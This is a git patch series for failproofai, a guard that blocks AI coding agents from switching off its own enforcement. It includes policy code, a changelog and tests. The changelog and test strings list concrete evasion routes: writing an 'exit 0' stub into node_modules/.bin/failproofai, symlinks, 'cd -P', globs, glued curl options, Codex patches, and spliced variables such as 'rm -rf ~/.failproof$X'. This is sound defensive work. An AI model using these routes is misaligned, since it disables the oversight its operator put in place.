string): boolean => resolvesFrom(at, text) || alts.some((base) => resolvesFrom(base, text)); // A written path as the absolute path it spells from `base`: `raw` as the - // kernel walks it, each `..` taken after any link before it; `plain` as - // text; `linked` with the symlinks this line made applied. - const absoluteFrom = (base: Where, written: string): { raw: string; plain: string; linked: string } | undefined => { + // kernel walks it, each `..` taken after any link before it, and `plain` as + // text. + const absoluteFrom = (base: Where, written: string): { raw: string; plain: string } | undefined => { if (written === "" || written.startsWith("-") || written.includes("$") || GLOB_METACHAR_RE.test(written)) { return undefined; } @@ -2192,41 +2287,79 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) ? `${base.full}/${written}` : undefined; if (raw === undefined) return undefined; - const plain = shellPath(undefined, raw); - return { raw, plain, linked: followLinks(plain) }; - }; - const realPaths = new Map(); - const realPath = (path: string): string => { - // Longer than PATH_MAX, no write can open it, and walking it on disk one - // component at a time cost a second for a 128 KB word of `a/a/a/…`. - if (path.length > PATH_MAX_BYTES) return shellPath(undefined, path); - let real = realPaths.get(path); - if (real === undefined) realPaths.set(path, (real = resolveWriteTarget(path, undefined) || shellPath(undefined, path))); - return real; + return { raw, plain: shellPath(undefined, raw) }; }; - // Where a written path really is, from each place the shell may stand: on - // disk as the kernel resolves it, and with this line's own links applied. - const realPathsOf = (written: string): Array<{ plain: string; real: string }> => { - const out: Array<{ plain: string; real: string }> = []; + // Where a written path really is, from each place the shell may stand: as + // the kernel resolves it, through links on disk and those this line makes. + const realPathsOf = (written: string): Array<{ plain: string; real: RealPath }> => { + const out: Array<{ plain: string; real: RealPath }> = []; for (const base of [at, ...alts]) { const path = absoluteFrom(base, written); - if (path === undefined) continue; - out.push({ plain: path.plain, real: realPath(path.raw) }); - if (path.linked !== path.plain) out.push({ plain: path.plain, real: realPath(path.linked) }); + if (path !== undefined) out.push({ plain: path.plain, real: realPath(path.raw) }); } return out; }; + // Through a link whose target the walk cannot read, the target as written + // and what remains after it, and that remainder alone the way a word is read + // once the walk has lost the shell's directory: as if from an installed + // location. `ln -s "$(npm root)/.bin" b; printf x > b/failproofai`. + const lostNamesState = ({ via, lost }: { via: string; lost: string }): boolean => + namesState(lost === "" ? via : `${via}/${lost}`) || + (lost !== "" && AS_IF_INSTALLED.some((dir) => namesState(dir + lost))) || + couldBeEntryName(lost.slice(lost.lastIndexOf("/") + 1)); // Whether a written directory really is npm's bin directory, through links. + // Through one the walk cannot read, it is when the target ends in `.bin`, or + // is a substitution (`$(npm root)/.bin` arrives cut short as `$(npm`); a + // variable the line never sets is read as an unknown `cd` is, which is not + // taken for npm's bin (`ln -sfn "$RELEASE" current && cp -r config current/`). const isBinDir = (written: string): boolean => - realPathsOf(written.replace(/[\\/]+$/, "") || written).some(({ real }) => NPM_BIN_DIRECTORY_RE.test(real)); + realPathsOf(written.replace(/[\\/]+$/, "") || written).some(({ real }) => { + if (real === ELOOP) return true; + if (typeof real === "string") return NPM_BIN_DIRECTORY_RE.test(real); + const reached = real.lost === "" ? real.via : `${real.via}/${real.lost}`; + return /(?:^|[\\/])\.bin[\\/]*$/i.test(reached) || (real.lost === "" && /\$\(|`/.test(real.via)); + }); // Whether a path really lands on what `namesState` protects once symlinks // are followed — those on disk, as the file tools already follow them, and // those this line makes: `printf x > bins/failproofai` where `bins` links to // `node_modules/.bin`. Only a link counts, so a backup that merely carries a // protected name somewhere else (`/tmp/backup/.failproofai`) does not. const landsOnState = (written: string): boolean => - realPathsOf(written).some(({ plain, real }) => real !== plain && namesState(real)); + realPathsOf(written).some(({ plain, real }) => + real === ELOOP ? true : typeof real !== "string" ? lostNamesState(real) : real !== plain && namesState(real), + ); const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); + // `namesHere` for a value glued to an option, of which a long command line + // has one per letter of its option words. Every protected name spells + // `failproof`, so a value that spells none, climbs nowhere and expands to + // nothing can only reach one through a link: one this line made, or one on + // disk under a first component that exists, which each directory's listing, + // read once, answers. + const listings = new Map | null>(); + const existsIn = (directory: string, name: string): boolean => { + let names = listings.get(directory); + if (names === undefined) { + try { + names = new Set(readdirSync(directory)); + } catch { + names = null; + } + listings.set(directory, names); + } + return names === null ? lstatSync(`${directory}/${name}`, { throwIfNoEntry: false }) !== undefined : names.has(name); + }; + const gluedValueNamesHere = (value: string): boolean => { + if (/failproof|\.\.|[$~]|[*?[{]|[@+!]\(/i.test(value) || links.size > 0 || value.startsWith("/")) { + return namesHere(value); + } + const relative = value.replace(/^(?:\.\/+)+/, ""); + const first = relative.slice(0, (relative.indexOf("/") + 1 || relative.length + 1) - 1); + return ( + first !== "" && + [at, ...alts].some((base) => !base.lost && base.full?.startsWith("/") === true && existsIn(base.full, first)) && + landsOnState(value) + ); + }; // What the line has assigned by the point the walk reaches, so a word built // from it is judged as the path it spells: `B=~/node_modules/.bin; ln -s // /tmp/stage $B`. In a loop a later assignment can come first, so there the @@ -2368,25 +2501,126 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) startFull.startsWith("/") && to.full === startFull, ); }; - // `ln -s `: where the link points, so a later write through - // it on the same line lands where it would. + // `ln -s … `, in every form GNU ln takes: `-t DIR` + // in any spelling, a last operand that is a directory (`.`, `dir/`, one on + // disk, or a link to one unless `-n`), several targets into one directory, + // and `-r`, which reads each target from where the shell stands rather than + // from the link. `ln -s node_modules/.bin/failproofai .` made `./failproofai` + // a link to the entry while the walk recorded the directory itself. Each link + // is keyed by where it really is, its parent resolved through every link + // before it, so a later write through it on the same line lands where it would. + const LN_OPTIONS = INTO_DIRECTORY_OPTIONS.get("ln")!; + const baseNameOf = (word: string): string => { + const trimmed = word.replace(/[\\/]+$/, ""); + return trimmed.slice(trimmed.lastIndexOf("/") + 1); + }; + // Where a link written as `word` from `base` goes: its parent resolved, its + // own name not followed, as `symlink()` creates it. + const linkPlace = (base: Where, word: string): string | undefined => { + const path = absoluteFrom(base, word.replace(/[\\/]+$/, "") || word); + if (path === undefined) return undefined; + const cut = path.raw.replace(/\/+$/, "").lastIndexOf("/"); + const parent = realPath(path.raw.slice(0, cut) || "/"); + const name = path.raw.replace(/\/+$/, "").slice(cut + 1); + if (typeof parent !== "string" || name === "" || name === "." || name === "..") return undefined; + return `${parent === "/" ? "" : parent}/${name}`; + }; + // Whether `word` is a directory for `ln` to put links into: on disk, or a + // link this line made to one, followed unless `-n`. `undefined` when it does + // not exist yet, which a `mkdir` earlier on the line may change. + const linksInto = (base: Where, word: string, noDereference: boolean): boolean | undefined => { + if (/[\\/]$/.test(word) || word === "." || word === ".." || /[\\/]\.\.?$/.test(word)) return true; + const place = linkPlace(base, word); + if (place === undefined) return false; + if (links.has(place)) { + if (noDereference) return false; + const real = realPath(place); + if (typeof real !== "string") return true; + try { + return statSync(real).isDirectory(); + } catch { + return undefined; + } + } + try { + return (noDereference ? lstatSync(place) : statSync(place)).isDirectory(); + } catch { + return undefined; + } + }; const recordLink = (args: string[]): void => { - if (!args.some((a) => /^-[A-Za-z]*s/.test(a) || a === "--symbolic")) return; - if (args.some((a) => /^-[A-Za-z]*t/.test(a) || a.startsWith("--target"))) return; - const operands = args.filter((a) => !a.startsWith("-")); - if (operands.length !== 2) return; - const [target, linkWord] = operands; + let symbolic = false; + let fromShell = false; + let noDereference = false; + let ontoItself = false; + let directory: string | undefined; + const operands: string[] = []; + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + operands.push(...args.slice(i + 1)); + break; + } + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const option = longOptionOf(LN_OPTIONS, arg.slice(2, eq === -1 ? undefined : eq)); + if (option?.full === "target-directory") directory = eq === -1 ? args[++i] : arg.slice(eq + 1); + else if (option?.value) i += eq === -1 ? 1 : 0; + else if (option?.full === "symbolic") symbolic = true; + else if (option?.full === "relative") fromShell = true; + else if (option?.full === "no-dereference") noDereference = true; + else if (option?.full === "no-target-directory") ontoItself = true; + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (LN_OPTIONS.short.includes(flag)) { + // The rest of the cluster is the value, or else the next word is. + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (flag === "t") directory = value; + break; + } + if (flag === "s") symbolic = true; + else if (flag === "r") fromShell = true; + else if (flag === "n") noDereference = true; + else if (flag === "T") ontoItself = true; + } + continue; + } + operands.push(arg); + } + if (!symbolic || operands.length === 0) return; for (const base of [at, ...alts]) { - const link = absoluteFrom(base, linkWord.replace(/[\\/]+$/, "")); - if (link === undefined) continue; - const linkPath = /[\\/]$/.test(linkWord) ? `${link.plain}/${target.slice(target.lastIndexOf("/") + 1)}` : link.plain; - const resolved = target.startsWith("/") - ? shellPath(undefined, target) - : target === "~" || target.startsWith("~/") - ? shellPath(undefined, homedir() + target.slice(1)) - : shellPath(linkPath.slice(0, linkPath.lastIndexOf("/")) || "/", target); - links.set(linkPath, resolved); + const placed: Array<[string | undefined, string]> = []; + if (directory !== undefined) { + for (const target of operands) placed.push([linkPlace(base, `${directory}/${baseNameOf(target)}`), target]); + } else if (operands.length === 1) { + placed.push([linkPlace(base, baseNameOf(operands[0])), operands[0]]); + } else { + const last = operands[operands.length - 1]; + const targets = operands.slice(0, -1); + const into = targets.length > 1 ? true : ontoItself ? false : linksInto(base, last, noDereference); + // Into the directory, or the operand itself; both when it does not + // exist yet, since the line may have made it. + if (into !== false) for (const target of targets) placed.push([linkPlace(base, `${last.replace(/[\\/]+$/, "")}/${baseNameOf(target)}`), target]); + if (into !== true) placed.push([linkPlace(base, last), targets[0]]); + } + for (const [place, written] of placed) { + if (place === undefined || written === undefined) continue; + let target = written === "~" || written.startsWith("~/") ? homedir() + written.slice(1) : written; + // `-r` reads the target from where the shell stands. + if (fromShell && relativeWord(target) && !/[$`]/.test(target)) { + const fromHere = absoluteFrom(base, target); + if (fromHere === undefined) continue; + target = fromHere.raw; + } + links.set(place, target); + } } + // Every path resolved so far may now run through one of these. + realPaths.clear(); + directoryWalks.clear(); }; // A loop header hands its word list to the body, and the body is a separate @@ -2474,6 +2708,17 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) (word, k) => k > 0 && (resolvesOntoState(word) || landsOnState(word) || (expanded[k] !== word && namesHere(expanded[k]))), + ) || + // A value glued to its option is a path too, read from where the + // shell stands and through links: `cd node_modules/.bin && curl + // -sofailproofai `, and `curl -sohook ` with `hook` a link + // to the entry (found by hermes on FailproofAI/failproofai#1058). + lists.some((list) => + list.some((word, k) => { + if (k === 0 || !word.startsWith("-")) return false; + const values = gluedOptionValues(head, word); + return values === null || values.some(gluedValueNamesHere); + }), )) && lists.some((list) => simpleCommandDestroys(list, namesHere)) ) { @@ -3639,6 +3884,121 @@ function blockWorkOnMain(ctx: PolicyContext): PolicyResult { return allow(); } +/** + * A patch's file headers: every file it adds, updates or deletes, and where + * `*** Move to:` renames one, in the format Codex's `apply_patch` takes + * (lenient about spacing, as its parser is); and the `---` / `+++` paths of a + * unified diff. + */ +const PATCH_FILE_RE = /^[ \t]*\*\*\*[ \t]*(?:(?:Add|Update|Delete)[ \t]+File|Move[ \t]+to)[ \t]*:[ \t]*(.*?)[ \t]*\r?$/gim; +const UNIFIED_DIFF_FILE_RE = /^(?:---|\+\+\+)[ \t]+(.*?)(?:\t.*)?\r?$/gm; + +/** Input keys that hold what a file tool writes, never a patch to apply. */ +const FILE_CONTENT_KEYS = new Set(["content", "old_string", "new_string", "new_source", "file_text", "old_str", "new_str"]); + +/** + * The files an edit tool's patch writes, when the tool carries a patch instead + * of a path. Codex's `apply_patch` (canonical `Edit`) delivers its patch as + * `tool_input.command`, with no `file_path` at all, so the path check below + * had nothing to read and a native patch could plant `node_modules/.bin/failproofai` + * (found by hermes on FailproofAI/failproofai#1058). OpenCode's sends `patchText`. + * Read from every input that is not a file's content, as text or a list of it. + */ +function patchTargets(input: Record | undefined): string[] { + const targets = new Set(); + for (const [key, value] of Object.entries(input ?? {})) { + if (FILE_CONTENT_KEYS.has(key)) continue; + const texts = typeof value === "string" ? [value] : Array.isArray(value) ? value.filter((v): v is string => typeof v === "string") : []; + for (const text of texts) { + for (const [, path] of text.matchAll(PATCH_FILE_RE)) if (path) targets.add(path); + for (const [, written] of text.matchAll(UNIFIED_DIFF_FILE_RE)) { + const path = written.replace(/^"(.*)"$/, "$1"); + if (!path || path === "/dev/null") continue; + targets.add(path); + // `a/` and `b/` are git's prefixes, not directories, unless they are. + if (/^[ab]\//.test(path)) targets.add(path.slice(2)); + } + } + } + return [...targets]; +} + +/** The builtins that print their arguments and run none of them. */ +const PRINT_COMMANDS = new Set(["echo", "printf"]); + +/** + * `command` with each `>` and `<` blanked where it is quoted text that `echo` + * or `printf` only prints: `echo 'cat > node_modules/.bin/failproofai'` + * documents a command rather than running one (found by hermes on + * FailproofAI/failproofai#1058). The walk reads redirects from the text, + * quotes and all, because a quoted program handed to `bash -c` or piped into + * `sh` really does redirect, and the unescaped pass drops the quotes, so both + * read that `>` as a redirect. Blanked only where nothing on the line can run + * the text: a pipeline that is one `echo` or `printf` (not `printf -v`, which + * stores it), with no redirect of its own, on a line with no subshell, group, + * substitution, `$'…'` or heredoc. Otherwise `command` comes back unchanged. + */ +function blankPrintedRedirects(command: string): string { + if (!/['"]/.test(command) || !/[<>]/.test(command)) return command; + const quotedAt = new Uint8Array(command.length); + const pieces: Array<{ start: number; end: number; piped: boolean }> = []; + let quote: string | null = null; + let start = 0; + let pipedIn = false; + for (let i = 0; i < command.length; i++) { + const ch = command[i]; + if (quote === "'") { + if (ch === "'") quote = null; + else quotedAt[i] = 1; + continue; + } + if (quote === '"') { + if (ch === '"') { + quote = null; + continue; + } + if (ch === "`" || (ch === "$" && command[i + 1] === "(")) return command; + quotedAt[i] = 1; + if (ch === "\\" && i + 1 < command.length) quotedAt[++i] = 1; + continue; + } + if (ch === "\\") { + i++; + continue; + } + if (ch === "'" || ch === '"') { + if (command[i - 1] === "$") return command; + quote = ch; + continue; + } + if ("`(){}".includes(ch) || (ch === "<" && command[i + 1] === "<")) return command; + if ("|;&\n\r".includes(ch)) { + let j = i; + while (j < command.length && "|;&\n\r".includes(command[j])) j++; + const pipe = command.slice(i, j) === "|" || command.slice(i, j) === "|&"; + pieces.push({ start, end: i, piped: pipedIn || pipe }); + pipedIn = pipe; + start = j; + i = j - 1; + } + } + // An unterminated quote is a line the shell refuses: left as it is. + if (quote !== null) return command; + pieces.push({ start, end: command.length, piped: pipedIn }); + const out = command.split(""); + for (const { start: from, end: to, piped } of pieces) { + if (piped) continue; + const words = shellWords(command.slice(from, to)); + if (words.length === 0 || !PRINT_COMMANDS.has(words[0].raw)) continue; + if (words[0].raw === "printf" && words.some(({ raw }) => /^-[A-Za-z]*v/.test(raw))) continue; + let redirected = false; + for (let k = from; k < to && !redirected; k++) redirected = (command[k] === ">" || command[k] === "<") && !quotedAt[k]; + if (redirected) continue; + for (let k = from; k < to; k++) if (quotedAt[k] && (command[k] === ">" || command[k] === "<")) out[k] = "_"; + } + return out.join(""); +} + /** * The one policy that cannot be turned off — see `alwaysOn` on its definition. * @@ -3667,22 +4027,32 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // fail-closed never fires. Reading is not offered by these tools' write half, // so naming the state at all is the whole test. if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit") { - const path = getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""); - // The path as given AND the file it lands on. The bin entry a user-scope - // hook runs is usually a symlink into the package, so writing through it - // changes the hook's code without the package's path ever being named. - const kind = failproofaiFileKind(path) ?? failproofaiFileKind(resolveWriteTarget(path, ctx.session?.cwd)); - if (kind === "code") { - return deny( - "Writing to failproofai's installed code would switch enforcement off. " + - "If a policy is blocking legitimate work, say so and let the operator decide.", - ); - } - if (kind === "state") { - return deny( - "Writing to failproofai's own state would switch enforcement off. " + - "If a policy is blocking legitimate work, say so and let the operator decide.", - ); + // The path the tool names, and every file a patch it carries names. + const paths = [getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""), ...patchTargets(ctx.toolInput)]; + // A patch's relative paths are read from the session's directory, and + // from the one the call names when it names one. + const toolCwd = ctx.toolInput?.workdir ?? ctx.toolInput?.cwd; + const cwds = [ctx.session?.cwd, ...(typeof toolCwd === "string" && toolCwd !== "" ? [toolCwd] : [])]; + for (const path of paths) { + // The path as given AND the file it lands on. The bin entry a user-scope + // hook runs is usually a symlink into the package, so writing through it + // changes the hook's code without the package's path ever being named. + const kind = + failproofaiFileKind(path) ?? + cwds.map((cwd) => failproofaiFileKind(resolveWriteTarget(path, cwd))).find((found) => found !== null) ?? + null; + if (kind === "code") { + return deny( + "Writing to failproofai's installed code would switch enforcement off. " + + "If a policy is blocking legitimate work, say so and let the operator decide.", + ); + } + if (kind === "state") { + return deny( + "Writing to failproofai's own state would switch enforcement off. " + + "If a policy is blocking legitimate work, say so and let the operator decide.", + ); + } } return allow(); } @@ -3717,9 +4087,14 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { const shellCwd = typeof toolCwd === "string" && toolCwd !== "" ? toolCwd : ctx.session?.cwd; // The walk must not throw: a policy that throws is skipped by the evaluator, // and for this one that is an allow. So a throw is a deny, said as one. + // Quoted text an `echo` or `printf` only prints is read as text, in both + // passes (see `blankPrintedRedirects`). + const walked = blankPrintedRedirects(cmd); let destroys: boolean; try { - destroys = destroysFailproofaiState(cmd, 0, shellCwd) || destroysFailproofaiState(unescaped, 0, shellCwd); + destroys = + destroysFailproofaiState(walked, 0, shellCwd) || + destroysFailproofaiState(walked === cmd ? unescaped : stripShellQuoting(walked), 0, shellCwd); } catch (err) { return deny( "failproofai could not read this command to check it against its own files, so it is refused. " + From d011ea9c0b23827b6a6ea45007de6287ee3f290a Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Wed, 25 Nov 2026 00:49:30 +0530 Subject: [PATCH 28/60] [hooks] Close hermes's second round: Codex workdir, cd -P, linked globs, printed text MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit hermes's review of 34c2eb8d (FailproofAI/failproofai#1058): - Codex's execution directory. Codex runs a shell command in the workdir its tool names, and its hook payload carries the session's directory and the command only, so `printf … > failproofai` run in node_modules/.bin arrived as a write in the project root. A reported workdir (or cwd) is now where the walk starts. Without one, a Codex line may run anywhere: a relative destination that would plant the entry, or the package, there is refused (redirects, output flags separate or glued, tee, dd of=, copies, moves, links and downloads that land in it), and nothing else is read differently: no decision changes on the 12,224 test strings under Codex. - Physical moves. `cd -P` (and any cd after `set -P` / `set -o physical`) now stands where the path really is, each link followed before its `..`; `cd -P deep/..` with deep a link into .bin stands in .bin. - Globs through links. A glob is matched where its literal directories really are, and from the shell's own directory resolved the same way: `cp x bins/fail*` and `cd bins && cp x fail*`, with bins a link to node_modules/.bin, are refused. - Printed text. Beyond a lone echo or printf, escaped `\>` and `$'…'` text, output to another descriptor or /dev/null, pipes into text readers (cat, grep, head, wc, …) and a subshell elsewhere on the line now leave the text as text. Compound commands, function or alias definitions, `exec`, heredocs and process substitution still keep it read as code. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- .../e2e/hooks/codex-integration.e2e.test.ts | 38 +++ __tests__/hooks/guard-npx-local-bin.test.ts | 117 +++++++ src/hooks/builtin-policies.ts | 314 +++++++++++++++--- 4 files changed, 416 insertions(+), 55 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 07be31af4..42646084c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,7 +16,7 @@ - An install of failproofai fetches one third-party package, `sql.js`, pinned to an exact version with no dependencies or install script of its own; everything else it uses is compiled into its bundles at build time from `bun.lock`. It used to declare six caret ranges, so each `npm install -g failproofai` or `npx failproofai` resolved them, and posthog-node's own ranges under them, afresh: a malicious in-range release (posthog-node was hit by Shai-Hulud 2.0 in November 2025) reached every install made after it was published, and its install script ran there. posthog-node, yaml, smol-toml, jsonc-parser and html-to-image are devDependencies now, since nothing loaded them from `node_modules` at run time, so the pin holds whichever package manager installs failproofai, and an install downloads about 1.2 MB less. `bun run build` now fails first if a runtime dependency is a range, has dependencies of its own or an install script, if a bundle leaves a package external that the install would not carry, or if the package itself gains an install script, a peer dependency or an optional dependency other than the daemon packages (#1059) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink (one the same line makes is resolved as the kernel resolves it), through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`) is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is matched where its directories really are), through a variable the same line sets, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`) is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/e2e/hooks/codex-integration.e2e.test.ts b/__tests__/e2e/hooks/codex-integration.e2e.test.ts index b7f77fa99..792a3a5ef 100644 --- a/__tests__/e2e/hooks/codex-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/codex-integration.e2e.test.ts @@ -195,6 +195,44 @@ describe("E2E: Codex integration — native apply_patch", () => { } }); + // Codex's shell tool runs a command in its `workdir`, but the hook payload + // carries the session's directory and the command only (found by hermes on + // FailproofAI/failproofai#1058). A native write that plants the entry if it + // runs in node_modules/.bin is refused from the project's root; with the + // workdir reported, it is read from there. + it("PreToolUse: a native shell write that may run in node_modules/.bin is denied", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + mkdirSync(resolve(env.cwd, "node_modules", ".bin"), { recursive: true }); + const result = runHook( + "PreToolUse", + CodexPayloads.preToolUse.bash("printf '#!/bin/sh\\nexit 0\\n' > failproofai", env.cwd), + { homeDir: env.home, cli: "codex" }, + ); + assertPreToolUseDeny(result); + } finally { + env.cleanup(); + } + }); + + it("PreToolUse: a native shell write is read from the workdir the call reports", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + const withWorkdir = (workdir: string) => ({ + ...CodexPayloads.preToolUse.bash("printf x > failproofai", env.cwd), + tool_input: { command: "printf x > failproofai", workdir }, + }); + assertPreToolUseDeny( + runHook("PreToolUse", withWorkdir(resolve(env.cwd, "node_modules", ".bin")), { homeDir: env.home, cli: "codex" }), + ); + assertAllow(runHook("PreToolUse", withWorkdir(resolve(env.cwd, "src")), { homeDir: env.home, cli: "codex" })); + } finally { + env.cleanup(); + } + }); + it("PreToolUse: a native patch to project files is allowed", () => { const env = createCodexEnv(); try { diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 5aa39403e..ca33b5953 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -42,6 +42,10 @@ const write = async (file_path: string, cwd?: string) => }), ); +/** A command as the named agent CLI sends it, from the project's directory. */ +const bashAs = async (cli: PolicyContext["cli"], toolInput: Record) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput, cli, session: { cwd: "/work/proj" } }))).decision; + /** An `Edit` carrying a patch the way Codex's `apply_patch` does. */ const patch = async (toolInput: Record, cwd = "/work/proj") => (await policy.fn(makeCtx({ toolName: "Edit", toolInput, session: { cwd } }))).decision; @@ -295,6 +299,49 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(join(root, "proj"), command.replaceAll("ROOT", join(root, "proj")))).toBe("deny"); }); + // `cd -P` (or any `cd` after `set -P`) stands where the path really is, + // each link followed before its `..` (found by hermes on + // FailproofAI/failproofai#1058); a logical `cd` takes `..` as text, as + // bash does, and the kernel still follows links in what is written after. + it.each([ + "cd -P tools/deep/.. && printf x > failproofai", + "cd -LP tools/deep/.. && printf x > failproofai", + "set -P; cd tools/deep/.. && printf x > failproofai", + "set -o physical; cd tools/deep/.. && printf x > failproofai", + "cd -P tools/deep && cd .. && printf x > failproofai", + "cd tools/deep && printf x > ../failproofai", + ])("denies a write after a physical move through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + }); + + it.each([ + "cd tools/deep/.. && printf x > failproofai", + "cd -L tools/deep/.. && printf x > failproofai", + "set -P; set +P; cd tools/deep/.. && printf x > failproofai", + ])("still allows a write after a logical move: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }); + + // A glob expands where its literal directories really are (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + "cp /tmp/stub.sh tools/bins/fail*", + "cp /tmp/stub.sh tools/bins/failpro?fai", + "cp /tmp/stub.sh tools/bins/[f]ailproofai", + "printf x > tools/bins/fail*", + "cd tools/bins && cp /tmp/stub.sh fail*", + "cp /tmp/stub.sh tools/deep/../fail*", + ])("denies a glob that expands onto the entry through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + }); + + it.each(["ls tools/bins/*", "cat tools/bins/fail*", "cp /tmp/stub.sh tools/bins/my-*", "rm -rf tools/bins/*"])( + "still allows a glob through a link that is no write of the entry: %s", + async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }, + ); + it.each([ "ln -s node_modules/.bin/sub d; printf x > d/../notes.txt", "ln -s /tmp/x y; echo hi > y", @@ -667,6 +714,16 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs 'echo "cat > node_modules/.bin/failproofai"', "echo 'cat > ~/.failproofai/policies-config.json'", "echo 'never run: cat > node_modules/.bin/failproofai' && npm test", + // Escaped and ANSI-C quoted, to another descriptor or nowhere, through + // readers that only show it, and beside a subshell that is not around it. + "echo cat \\> node_modules/.bin/failproofai", + "echo $'cat > node_modules/.bin/failproofai\\n'", + "echo 'cat > node_modules/.bin/failproofai' >&2", + "echo 'cat > node_modules/.bin/failproofai' > /dev/null", + "echo 'cat > node_modules/.bin/failproofai' | cat", + "printf '%s\\n' 'cat > node_modules/.bin/failproofai' | grep cat | wc -l", + "(cd src && ls); echo 'cat > node_modules/.bin/failproofai'", + "echo 'cat > node_modules/.bin/failproofai'; echo done", ])("allows printing a command as text: %s", async (command) => { expect(await bash(command)).toBe("allow"); }); @@ -683,10 +740,70 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "/tmp/bin/echo 'printf x > node_modules/.bin/failproofai'", "echo 'exit 0' > node_modules/.bin/failproofai", 'echo x >node_modules/.bin/fail"proof"ai', + // A reader that keeps it, a loop or condition piped into a shell, an + // `echo` the line redefines, the shell's own output sent to one, and a + // substitution, which runs. + "echo 'printf x > node_modules/.bin/failproofai' | grep x | sh", + "echo 'printf x > node_modules/.bin/failproofai' | tee /tmp/s.sh", + "echo 'printf x > node_modules/.bin/failproofai' | cat > /tmp/s.sh", + "for i in 1; do\necho 'printf x > node_modules/.bin/failproofai'\ndone | sh", + "if true; then\necho 'printf x > 